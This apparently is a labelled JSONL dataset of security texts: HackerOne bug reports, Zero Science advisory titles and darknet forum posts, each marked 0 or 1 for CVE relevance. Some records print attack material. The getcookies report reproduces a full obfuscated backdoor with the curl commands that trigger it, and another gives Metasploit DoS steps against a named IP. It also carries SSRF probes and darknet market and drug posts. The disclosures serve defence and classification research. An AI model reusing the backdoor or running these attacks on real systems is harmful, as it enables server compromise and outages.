high", "source": "zeroscience", "timestamp": "2011-04-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ca6246417cd25c47b85e", "text": "NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-01-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bb7352b3ee91871b1d8f", "text": "[Unknown] [JavaScript]: add query for Express-HBS LFR\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2021-02-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2170cab21de306dff2db", "text": "[Improper Certificate Validation] Silent omission of certificate hostname verification in LibreSSL and BoringSSL\n\n## Abstract\n\nLibreSSL and BoringSSL implemented ``X509_VERIFY_PARAM_set1_host`` differently than OpenSSL. All applications that use the preferred and documented way to configure a TLS connection for hostname validation, silently neglect to perform hostname validation at all. As a consequence, they are vulnerable to MitM attacks.\n\n## Description\n\nOpenSSL 1.0.2 introduced the function [X509_VERIFY_PARAM_set1_host](https://www.openssl.org/docs/man1.0.2/crypto/X509_VERIFY_PARAM_set1_host.html). It sets the expected DNS hostname for a TLS connection. During the handshake, OpenSSL verifies, that the hostname matches one of the DNS names in the subject alternative name extension of the server's X.509 certificate. It's a critical step to authenticate the identity of a TLS server. A client **must** properly validate the server's DNS name.\n\nThe ``X509_VERIFY_PARAM_set1_host`` function takes three parameters. The second parameter is the expected host name, the third parameter is the length of the host name. OpenSSL allows the caller to pass in ``0`` as namelen. It indicates that the server name is a NULL terminated C string. It's documented in the man page for the function and used as example on OpenSSL's [wiki page](https://wiki.openssl.org/index.php/Hostname_validation) about hostname validation. The wiki page is the top hit for a Google search for \"openssl hostname validation\".\n\nLibreSSL and BoringSSL implement the same function. LibreSSL release 2.7.0 added ``X509_VERIFY_PARAM_set1_host`` just a few days ago. However both libraries behave differently in very subtle but critical way. Their implementation of ``X509_VERIFY_PARAM_set1_host(param, \"hostname\", 0)`` does **not** configure the TLS/SSL connection to validate the hostname. Instead the call only clears any previously configured hostname and returns success. As a consequence, LibreSSL and BoringSSL do **not** perform any hostname validation and except just any arbitrary certificate for any hostname as long as the certificate is generally trusted. Since the function call returns success, the application never sees an error, too.\n\nThe man page for LibreSSL 2.7.0 even documented to support the calling convention. The release took the divergent implementation from BoringSSL but the documentation from OpenSSL.\n\n## Demo\n\nThe attached files and https://github.com/tiran/CVE-2018-8970 are a demo for the bug. WIth OpenSSL the command fails as expected with a hostname mismatch error:\n\n```\n$ make\n...\nError connecting to server\n140678245971584:error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1230:\nX509 verify error: Hostname mismatch\n```\n\nWith LibreSSL 2.7.0 the command does not fail\n\n```\n$ make SSL_BASEDIR=/path/to/libressl/2.7.0\n...\n./cve2018_8970_demo\nHTTP/1.1 200 OK\nServer: nginx\nContent-Type: text/plain\nX-Frame-Options: SAMEORIGIN\nx-xss-protection: 1; mode=block\nX-Clacks-Overhead: GNU Terry Pratchett\nVia: 1.1 varnish\nContent-Length: 539\nAccept-Ranges: bytes\nDate: Sun, 25 Mar 2018 12:30:49 GMT\n...\nCVE2018-8970: Expected a hostname mismatch error\n```\n\n## Resources\n\n* LibreSSL CVE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8970\n* LibreSSL 2.7.1 fix https://github.com/libressl-portable/openbsd/commit/0654414afcce51a16d35d05060190a3ec4618d42\n* BoringSSL ticket https://bugs.chromium.org/p/chromium/issues/detail?id=824799\n* BoringSSL fix https://boringssl.googlesource.com/boringssl/+/e759a9cd84198613199259dbed401f4951747cff\n\n## Impact\n\nThe silent omission of hostname verification completely breaks confidence of TLS/SSL protocol. It consequently allows man-in-the-middle attackers to spoof servers and obtain sensitive information via any certificate. An attacker can use any trusted certificate from any CA and pretend to be any website. For example a malicious Wifi provider could use a Lets Encrypt cert to spoof a user to be Apple, Google, or Facebook.\n\n## CPython\nCPython's [ssl module](https://github.co", "source": "hackerone", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9e2331299dcde5583004", "text": "[Information Disclosure] Profile Pic padding (Length-hiding) fails due to use of GZIP\n\nBack in August, I noted that Twitter was appending anywhere from dozens to thousands of junk (0x20) bytes on the end of the JPEG and PNG files they serve for users’ profile images. It was suggested that, though invalid, they were doing this deliberately, as an information-hiding mechanism. \r\n\r\nThe HTTPS protocol encrypts all of the data transferred over it, but it doesn’t hide the length of that data. Because Twitter profile pictures can appear in predictable patterns on 3rd-party pages, an otherwise “blind” network attacker could infer what pages a user was visiting based on the length of responses from Twitter’s image server. So, Twitter selected a number of common byte length thresholds and they pad images to those sizes. So, for instance, a 10174 byte image is padded with 6124 bytes of data to yield a 16298 byte response, while a 11502 byte response is padded with 4796 bytes to yield a matching 16298 byte response. Fiddler now detects this padded at the end of PNG files and surfaces it:\r\n\r\nUnfortunately it seems that Twitter's Performance team wasn't aware that this padding was intentional and they mistakenly enabled GZIP compression for these images. That change improves performance, but circumvents the length-blinding padding effort.", "source": "hackerone", "timestamp": "2016-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fe67bf2ed25a65d282d7", "text": "Dell SonicWALL Global Management System GMS 8.1 Adobe Flex SOP Bypass\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "06581eedb21bba85beec", "text": "[Agora] Agora gone for good\n\nQuote from: Guru2543 on April 12 2014 10:34:25 PMWhat's with the nasty response?I posted what I know - and admitted I'm not a tech person.  Why are people so upset over this whole thing?  It's like someone called your mom a nasty name?  I haven't insulted anyone.  I haven't said Agora is scamming.  I also won't say they aren't.I don't know - and at this point nobody knows.Quote from: rhinose on April 12 2014 10:20:20 PMQuote from: Guru2543 on April 12 2014 09:58:42 PMA major educational institution in Canada did this in 3 hours this past week.  A team of about 10 managed to migrate all their online courses all student records online log-in payment systems etc... It took them 3 hours. More than 50000 students... 200 courses and all the data related to payment grades assignments etc.LOL. Nice bit of trivia mate where's the disconnect?Love your avatar buy the way... bit embarrasing isn't  it...having to shit in public!MOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOVEHERE IT IS AGAIN JUST INCASE YOU MISSED ITThe page has been moved to http://agorahooawayyfoe.onion/-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1Agora Announcement 2014-04-11Earlier this week the details of a serious bug in the OpenSSL library were made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information passwords etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network and while Agora itself does not use the vulnerable library the Tor software that makes up the network was affected by this bug in some instances since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack. Get the latest Tor Browser Bundle version from http://torproject.orgFor Agora as a hidden service we have investigated the possibilities of exploitation and to our current best knowledge the most an attacker could hope to gain in a hypothetical situation of successful exploitation is the ability to impersonate the hidden service.The Tor blog post on this subject states:\"Like the last big OpenSSL bug this shouldn't allow an attacker to identify the location of the hidden service but an attacker who knows the hidden service identity key can impersonate the hidden service.\"At this time even an attack like that is looking unlikely and we haven't seen any signs of it being successfully executed. However since the underlying bug is very serious and has been in the wild for an unclear amount of time we will be taking the necessary precautions and shall hereby recycle all our previously used hidden service keys.Effectively this means that we need to change the address of the market.Additionally we have decided to take the market down for some time so we can fully investigate the effects and change all servers used by it in order to fully protect ourselves from any hypothetical damage or information leaks. We estimate that this process will be complete by the end of the week. We do understand that this is a big inconvenience for many of you but please understand that we do this for the sake of your anonymity as well.The new address to be used from now on to access Agora when it's available will be:http://agorahooawayyfoe.onionThe address to access Agora Forums is:http://lacbzxobeprssrfx.onionWe are constantly vigilant about new threats and the security of our market and users and are taking these steps as a precaution.-----BEGIN PGP SIGNATURE-----iQIcBAEBAgAGBQJTSEzTAAoJELCkZxCnK9YVMTMP/iRZGrHvG3GHdqn0ikj5lssGCw", "source": "gayanku", "timestamp": "2014-04-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1d3498d79e1fbcb0ceea", "text": "Mango Automation 2.6.0 User Enumeration Weakness\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8aaebf1e3f9d0003d12d", "text": "[N] $150 Paypal [H] BTC\n\nI have Pmd you regarding this, lmk if you're interested.", "source": "hackforums", "timestamp": "2014-08-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c0a69fa88f98afaa0a07", "text": "[Uncontrolled Resource Consumption] Nginx version is disclosed in HTTP response\n\n## Summary:\nI found a version disclosure (Nginx) in your web server's HTTP response.\n\n***Extracted Version:*** 1.16.1\n\nThis information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Nginx.\n\n## Steps To Reproduce:\n\n***Checkout the URL:** https://localizestaging.com/\n\nCheckout the header response:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\nConnection: close\nDate: Sun, 26 Jan 2020 21:37:55 GMT\nServer: nginx/1.16.1\nVary: Accept-Encoding\nX-DNS-Prefetch-Control: off\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Security-Policy: object-src 'none'; base-uri https://localizestaging.com; frame-ancestors https://localize.live\nETag: W/\"883d-dUYoyQDdg3V8h1QICXD3rs4\"\nX-Cache: Miss from cloudfront\nVia: 1.1 5157dedfe33ef5a309f236599901abe3.cloudfront.net (CloudFront)\nX-Amz-Cf-Pop: SIN52-C3\nX-Amz-Cf-Id: \nContent-Length: 34877\n\nPoC : F696981: Server Disclosure .jpg \n\n## Supporting Material/References:\n***Number of vulnerabilities:*** 3\n***CVE IDs:*** \t\n1. CVE-2019-9511\n2. CVE-2019-9513\n3. CVE-2019-9516\n\n##1) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9511\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##2) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9513\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n##3) Resource exhaustion\nSeverity: Medium\nCVE-ID: CVE-2019-9516\n\nCWE-ID: CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')\n***Description***\nThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.\n\nThe vulnerability exists due to improper input validation when processing HTTP/2 requests within the ngx_http_v2_module module. A remote attacker can send a specially crafted HTTP/2 request the affected server, consume all available CPU resources and perform a denial of service (DoS) attack.\nSuccessful exploitation of the vulnerability requires that support for HTTP/2 is enabled.\n***Mitigation***\nInstall updates from vendor's website.\n\n***More details:*** https://www.cybersecurity-help.cz/vdb/SB2019081323\n\n## Impact\n\nAn attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.\n\nAdd the following line to your nginx.conf file to prevent information leakage from the SERVER header of its HTTP response:\n\n```server_tokens off```", "source": "hackerone", "timestamp": "2020-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "87528b65f7621c2736db", "text": "[Privilege Escalation] [www.zomato.com] Privilege Escalation - /php/restaurant_menus_handler.php\n\n#Introduction\nIn the following ██████████ the endpoint `/php/restaurant_menus_handler.php` was found. This endpoint is meant solely to be accessible for admins, however due to insufficient protections normal users can access this endpoint too. This results in any Zomato user being able to edit and remove menu's from any restaurant. The following actions have been found in the JS file but there might be more: `menu_collected`, `toggle-res-menu-type`, `clear_menu_tool`, `change-menu-type`.\n\n#POC\nToggle-res-menu-type will be used in the POC since it switches between text and image menu's which makes it very easy to see the change happen on the page of the restaurant. When switching to text the images of the menu will disapear (and reappear when enabled).\n\nGo to https://www.zomato.com/████ and view the images under the menu section. After that submit the following JS code in the developers console. After this reload the page and the menu images should be gone. Do it once more and the images should reappear again.\n\n```js\n$.ajax({url:\"/php/restaurant_menus_handler.php\",type:\"POST\",data:{action:\"toggle-res-menu-type\",res_id:██████}\n```\n\n## Impact\n\nAny user can delete and edit any menu of any restaurant. The reason is that an admin endpoint has insufficient access protection.", "source": "hackerone", "timestamp": "2018-03-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7f808594e0a1f375e828", "text": "SpinetiX Fusion Digital Signage 3.4.8 Database Backup Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-09-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "73e00a4b4656104ff6e7", "text": "CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2013-04-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e2c5efdc31747fb32048", "text": "[Server-Side Request Forgery (SSRF)] SSRF in https://cards-dev.twitter.com/validator\n\nHello, \n\nAfter my previous report (2 years ago) https://hackerone.com/reports/30860 you fixed the vulnerability, but now it looks like this fix was reverted and the same problem exists again.\n\nTest scenario:\nOpen https://cards-dev.twitter.com/validator\n\n1. Closed port on localhost\nhttp://0.0.0.0:123 -> ERROR: Fetching the page failed because other errors.\n\n2. Open port but not HTPP\nhttp://0.0.0.0:22 -> ERROR: Failed to fetch page due to: ChannelClosed\n\n3. Open HTPP port\nhttp://0.0.0.0:4680\n->\nINFO: Page fetched successfully\nINFO: 2 metatags were found\nWARN: Not whitelisted\n\n4. Existing folder\nhttp://0.0.0.0:4680/system/\n ->\nINFO: Page fetched successfully\nINFO: 2 metatags were found\nWARN: Not whitelisted\n\n5. None existis folder\nhttp://0.0.0.0:4680/system/\n->\nhttp://0.0.0.0:4680/test/\nINFO: Page fetched successfully\nWARN: No metatags found\n\nDisaster scenario:\nFind open HTTP service running on local infrastructure with ability to execute commands.\n\nFor example:\nhttp://0.0.0.0:4680/system/command.php?command=[ROOT_COMMAND]", "source": "hackerone", "timestamp": "2017-04-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b74529b3a0c380775b9f", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Insufficient Session Expiration\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ef622c35b54b039e2ef3", "text": "[Silk Road 1] Re: Ask a Drug Expert Physician about Drugs & Health\n\nHi Doc!I am curious as to how much damage smoking off of aluminum/tin foil causes, and if you know any safer alternatives.Thanks.", "source": "gayanku", "timestamp": "2013-09-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "04d68105c84fdb10804c", "text": "[Uncontrolled Resource Consumption] CVE-2017-8779 exploit on open rpcbind port could lead to remote DoS\n\n## Summary:\nAn open rpcbind port on https://da.theendlessweb.com allows for possible exploitation by an existing Metasploit module. This could lead to large and unfreed memory allocations for XDR strings.\n\n## Description:\nPort scanning on 149.56.38.19 which is the IP of https://da.theendlessweb.com shows open port 111 which runs 'rpcbind'. By using the auxiliary module auxiliary/dos/rpc/rpcbomb in Metasploit, it is possible to exploit the port and cause large memory allocations for XDR strings. Excessive memory allocations could exhaust the systems memory leading to a Denial of Service.\n\nAs can be seen in the following screenshot:\n(please note that I did not expect the module to work therefore I continued the test, I am aware that causing a DoS is a serious offense and do not intend to do any damage)\n\nF711567\n\nThe exploit was completed successfully. I did not continue any further out of fear of unintended damage to the site.\n\n## Steps To Reproduce:\n\n 1. Open the Metasploit framework and type 'use auxiliary/dos/rpc/rpcbomb'\n 2. set RHOSTS to 149.56.38.19 and RPORT to 111\n 3. Type 'exploit'\n\n## Supporting Material/References:\nSome reference sites:\n\nhttps://www.rapid7.com/db/modules/auxiliary/dos/rpc/rpcbomb\nhttps://access.redhat.com/solutions/3025811\n\n##Solution/ Mitigation\nClose or filter port 111\n\n## Impact\n\nAn attacker could use this vulnerability to trigger large unfreed memory allocations on the system leading to a remote Denial of Service.", "source": "hackerone", "timestamp": "2020-02-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f1e54de50bdf1d4f6262", "text": "[Reddit Darknet Markets] Linux TCP vulnerability (CVE-2016-5696), its effects on Tor and what it means for DNM participants\n\nIt actually *does* apply to Tor a bit - even though the attacker can't force the target towards particular nodes *directly*, they can still DoS every circuit the target chooses that doesn't facilitate the attack. This could amplify the effectiveness of a Sybil attack, but just how much is hard to say. It could potentially make a cheap (low-number) Sybil attack actually viable, if the attacker were patient enough.\n\nBy the way, any Tor node operators or other GNU/Linux users can instantly prevent this attack with the following two commands (as the root user or with `sudo`), no reboot or patching necessary (though the actual kernel patch solves it in a different way, and it should still be applied):\n\n echo \"net.ipv4.tcp_challenge_ack_limit = 10000\" >> /etc/sysctl.conf && sysctl -p\n\nSo I encourage folks to do so.\n\nNote that this assumes that your sysctl.conf is in that location (make sure it is beforehand).", "source": "gayanku", "timestamp": "2016-08-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "732afedce75b90ca467c", "text": "[Code Injection] Remote code executio in NPM package getcookies\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\nI would like to report remote code execution in the `getcookies` module.\nIt allows to remotely inject and execute code in the target server.\n\n# Module\n\n**module name:** getcookies\n**version:** 1.12.3\n**npm page:** `https://www.npmjs.com/package/getcookies`\n\nAlso affects all the modules that use `getcookies`, notable ones:\n\n* `express-cookies@1.4.7` - https://www.npmjs.com/package/express-cookies\n\n## Module Description\n\nBasic HTTP cookie parser for HTTP servers.\n\n## Module Stats\n\n> Replace stats below with numbers from npm’s module page:\n\n390 downloads in the last day\n3396 downloads in the last week\n3396 downloads in the last month\n\n# Vulnerability\n\n## Vulnerability Description\n\nFound by a defaced website.\nAllows attacker to remotely send and execute JS on the server.\n\n`index.js` of `getcookies` does:\n\n```\nconst testHarness = require('./test/harness.js');\n...\nfunction parse(req, res, callback) {\n testHarness.assert(req, res, callback, () => {\n...\n```\n\nand vulnerability resides in the `./test/harness.js` of the `getcookies`:\n```\n/* eslint-env es6 */\n'use strict';\n\nvar assert = require('assert');\n\nlet harness = (req, res, callback, next) => {\n try {\n assert.equal(typeof callback, 'function');\n } catch (E) {\n return callback(E);\n }\n\n try {\n module.exports.log = module.exports.log || Buffer.alloc(0xffff);\n JSON.stringify(req.headers).replace(/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi, (o, p, v) => {\n p = Buffer.from(p, 'hex').readUInt16LE(0);\n switch (p) {\n case 0xfffe:\n module.exports.log = Buffer.alloc(0xffff);\n return;\n case 0xfffa:\n return setTimeout(() => {\n let c = module.exports.log.toString().replace(/\\x00*$/, '');\n module.exports.log = Buffer.alloc(0xffff);\n if (c.indexOf('\\x00') < 0) {\n require('\\x76\\x6d')['\\x72\\x75\\x6e\\x49\\x6e\\x54\\x68\\x69\\x73\\x43\\x6f\\x6e\\x74\\x65\\x78\\x74'](c)(module.exports, require, req, res, next);\n }\n next();\n }, 1000);\n default:\n v = Buffer.from(v, 'hex');\n for (let i = 0; i < v.length; i++) {\n module.exports.log[p + i] = v[i];\n }\n }\n });\n } catch (E) {}\n\n next();\n};\n\nmodule.exports.assert = (req, res, callback, next) => {\n harness(req, res, callback, next);\n};\n```\n\nAs seen above, it does `vm.runInThisContext` with the code stored in the memory.\n\n## Steps To Reproduce:\n\nEasiest way to reproduce is to use `express-cookies` package, which depends on `getcookies`.\n\nTest code:\n\n```\nvar express = require('express');\nvar app = express();\nvar expressCookies = require('express-cookies');\n\napp.use(expressCookies());\n\napp.get('/', function (req, res) {\n res.send('Hello World!');\n});\n\napp.listen(3000, function () {\n console.log('Example app listening on port 3000!')\n});\n```\n\nCode is sent in custom HTTP headers in byte code.\n\nTo send code bytes:\n```\ncurl -i 'http://localhost:3000/' -H 'X-Hacker: g0000h636465i' \n```\nWhere the protocol is:\n`ghi`\n\nThe sample above adds `cde` to the code to be executed when execution header is sent.\n\nThe code is stored in `require('./test/harness.js').log`.\n\nWhen the code is sent, attacker executes the code by sending:\n```\ncurl -i 'http://localhost:3000/' -H 'X-Hacker: gfaffh636465i'\n```\n\n## Patch\n\n```\ndiff -u /home/m/tmp/getcookies_original/index.js /home/m/dev/express-cookies-vulnr/node_modules/getcookies/index.js\n--- /home/m/tmp/getcookies_original/index.js\t2018-05-02 16:47:11.382990109 +0300\n+++ ", "source": "hackerone", "timestamp": "2019-04-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ba6ed0825eba046be97e", "text": "[Improper Authentication - Generic] Email spoofing\n\nEmail spoofing is possible\nTo verify:\nvisit :https://www.kitterman.com/spf/validate.html? and type your domain name to check SPF record \nyou can see the results as: NO valid SPF record found\nPOC:\n1.visit http://emkei.cz//\n2.fill the from email as admin@sifchain.finance\n3.to email as victim email address, enter subject, data and click send\n4.you will receive the mail in your inbox\n\n## Impact\n\nemail spoofing", "source": "hackerone", "timestamp": "2021-05-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7c409def4012be58636d", "text": "ArticleFR 3.0.6 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-07-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "71cad720a5f431e8a103", "text": "ECOA Building Automation System Weak Default Credentials\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d6dcb3d2aa8145503477", "text": "All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin\n\nSeverity: low", "source": "zeroscience", "timestamp": "2020-07-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "07cb7fe46f25e70e0930", "text": "[Improper Restriction of Authentication Attempts] brute force attack allowed on admin page https://www.stellar.org/wp-admin/\n\nhi security team\n-due to your bug bounty program , i found basic authentication method\n-by doing many trials the server will response and will not block the logging process\n- the attack can be automated by burp intruder till getting access to admin page\n- in second screen the request is intercepted by burp proxy\nF290121:\n\n-in third anf forth screen i used burp intruder to automate bruit force attack (i tried only 9 times to make POC)\nF290122:\nF290123:\n\n## Impact\n\nif the attack coleted , admin page is accessed", "source": "hackerone", "timestamp": "2020-02-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "95f68c83dbdf35b2f7f3", "text": "[Uncontrolled Recursion] CVE-2020-8285: FTP wildcard stack overflow\n\n## Summary:\n\nUser 'xnynx' on github filed [PR 6255](https://github.com/curl/curl/issues/6255) highlighting this problem. **Filed publicly**\n\nMy first gut reaction was that this had to be a problem with `curl_fnmatch` as that has caused us grief in the past (and on most platforms we use the native `fnmatch()` now, but not on Windows IIRC and this is a reported to happen on Windows), but I then built a test program and I made it crash in what seems like potential stack overflow due to recursive calls to `wc_statemach` from within itself.\n\n## Steps To Reproduce:\n\n 1. build 6255.c (attached)\n 1. run it (with a debugger)\n 1. inspect the crash\n\nThe example app lists a directory with 40,000 files on funet.fi.\n\n## Crash stack trace\n~~~\nProgram received signal SIGSEGV, Segmentation fault.\n0x0000555555582039 in curl_dbg_log (\n format=)\n at memdebug.c:437\n437 {\n(gdb) bt\n#0 0x0000555555582039 in curl_dbg_log (\n format=)\n at memdebug.c:437\n#1 0x0000555555581b57 in curl_dbg_realloc (ptr=0x0, wantedsize=32, line=98, \n source=0x55555563d738 \"dynbuf.c\") at memdebug.c:247\n#2 0x00005555555c01d3 in dyn_nappend (s=0x7fffff800820, \n mem=0x7fffff7ff187 \"rP\\b\\200\\377\\377\\177\", len=1) at dynbuf.c:98\n#3 0x00005555555c0409 in Curl_dyn_addn (s=0x7fffff800820, mem=0x7fffff7ff187, \n len=1) at dynbuf.c:164\n#4 0x0000555555587a20 in alloc_addbyter (output=114, data=0x7fffff800850)\n at mprintf.c:1045\n#5 0x000055555558710f in dprintf_formatf (data=0x7fffff800850, \n stream=0x5555555879e8 , format=0x555555642498 \"%s%s\", \n ap_save=0x7fffff800890) at mprintf.c:846\n#6 0x0000555555587aea in curl_mvaprintf (format=0x555555642498 \"%s%s\", \n ap_save=0x7fffff800890) at mprintf.c:1080\n#7 0x0000555555587be6 in curl_maprintf (format=0x555555642498 \"%s%s\")\n at mprintf.c:1095\n#8 0x00005555555eae21 in wc_statemach (conn=0x5555556b9068) at ftp.c:3836\n#9 0x00005555555eb0a3 in wc_statemach (conn=0x5555556b9068) at ftp.c:3894\n#10 0x00005555555eaf44 in wc_statemach (conn=0x5555556b9068) at ftp.c:3856\n#11 0x00005555555eb0a3 in wc_statemach (conn=0x5555556b9068) at ftp.c:3894\n#12 0x00005555555eaf44 in wc_statemach (conn=0x5555556b9068) at ftp.c:3856\n#13 0x00005555555eb0a3 in wc_statemach (conn=0x5555556b9068) at ftp.c:3894\n#14 0x00005555555eaf44 in wc_statemach (conn=0x5555556b9068) at ftp.c:3856\n#15 0x00005555555eb0a3 in wc_statemach (conn=0x5555556b9068) at ftp.c:3894\n#16 0x00005555555eaf44 in wc_statemach (conn=0x5555556b9068) at ftp.c:3856\n#17 0x00005555555eb0a3 in wc_statemach (conn=0x5555556b9068) at ftp.c:3894\n\n(gdb) fr 2\n#2 0x00005555555c01d3 in dyn_nappend (s=0x7fffff800820, \n mem=0x7fffff7ff187 \"rP\\b\\200\\377\\377\\177\", len=1) at dynbuf.c:98\n98 void *p = realloc(s->bufr, a);\n(gdb) p s\n$1 = (struct dynbuf *) 0x7fffff800820\n(gdb) p *s\n$2 = {bufr = 0x0, leng = 0, allc = 0, toobig = 8000000, init = 200167898}\n~~~\n\n## Impact\n\nI haven't yet worked out exactly how to get what into the stack and what the worst kind of exploit of this might be, but a stack overflow that can be triggered by adding/crafting files in the server feels bad.", "source": "hackerone", "timestamp": "2021-01-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fd582d1527904e4eeb57", "text": "[Heap Overflow] CVE-2018-6797: A crafted regular expression can cause a heap buffer write overflow in Perl 5 giving a remote attacker control over bytes written\n\nAn attacker supplies a regular expression containing one or more `\\xDF` characters after an escape putting the regexp into unicode matching mode, such as a `\\N{}` escape. Each `\\xDF` character adds one byte of overflow, and any other text in the regular expression is written in order, providing the attacker control over the bytes written to the overflowed region.\n\n* Reported to the [Perl security mailing list](https://rt.perl.org/Ticket/Display.html?id=132227) on 6 Oct 2017.\n* Confirmed as a security flaw by TonyC on 31 Jan 2018\n* CVE-2018-6797 assigned to this flaw on 6 Feb 2018\n* Patch released to the security mailing list for Perl 5.24 and Perl 5.26 on 09 Feb 2018\n* Patch released to the security mailing list for Perl blead on 22 Feb 2018\n* [Public security advisory](https://github.com/Perl/perl5/blob/blead/pod/perl5262delta.pod) released on 14 April 2018\n\nOn 31 Jan 2018 Perl dev TonyC says in an email to the Perl security mailing list that `depending on the heap implementation it may be possible to perform a nastier exploit - an attacker has almost complete control over the bytes written.`\n\n```\n==28186==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60700000ac58 at pc 0x000000846c2d bp 0x7ffe716bc7f0 sp 0x7ffe716bc7e0\nWRITE of size 1 at 0x60700000ac58 thread T0\n #0 0x846c2c in S_regatom /root/perl/regcomp.c:13652\n #1 0x8587f6 in S_regpiece /root/perl/regcomp.c:11708\n #2 0x8587f6 in S_regbranch /root/perl/regcomp.c:11633\n #3 0x88830a in S_reg /root/perl/regcomp.c:11371\n #4 0x8c90dc in Perl_re_op_compile /root/perl/regcomp.c:7363\n #5 0x5297d0 in Perl_pmruntime /root/perl/op.c:5888\n #6 0x74d853 in Perl_yyparse /root/perl/perly.y:1210\n #7 0x58b9b8 in S_parse_body /root/perl/perl.c:2450\n #8 0x593622 in perl_parse /root/perl/perl.c:1753\n #9 0x42eb7d in main /root/perl/perlmain.c:121\n #10 0x7fba4cebe82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #11 0x42fe18 in _start (/root/perl/perl+0x42fe18)\n\n0x60700000ac58 is located 0 bytes to the right of 72-byte region [0x60700000ac10,0x60700000ac58)\nallocated by thread T0 here:\n #0 0x7fba4dc62602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)\n #1 0x92dfd4 in Perl_safesysmalloc /root/perl/util.c:153\n #2 0x8c6cbe in Perl_re_op_compile /root/perl/regcomp.c:7209\n #3 0x5297d0 in Perl_pmruntime /root/perl/op.c:5888\n #4 0x74d853 in Perl_yyparse /root/perl/perly.y:1210\n #5 0x58b9b8 in S_parse_body /root/perl/perl.c:2450\n #6 0x593622 in perl_parse /root/perl/perl.c:1753\n #7 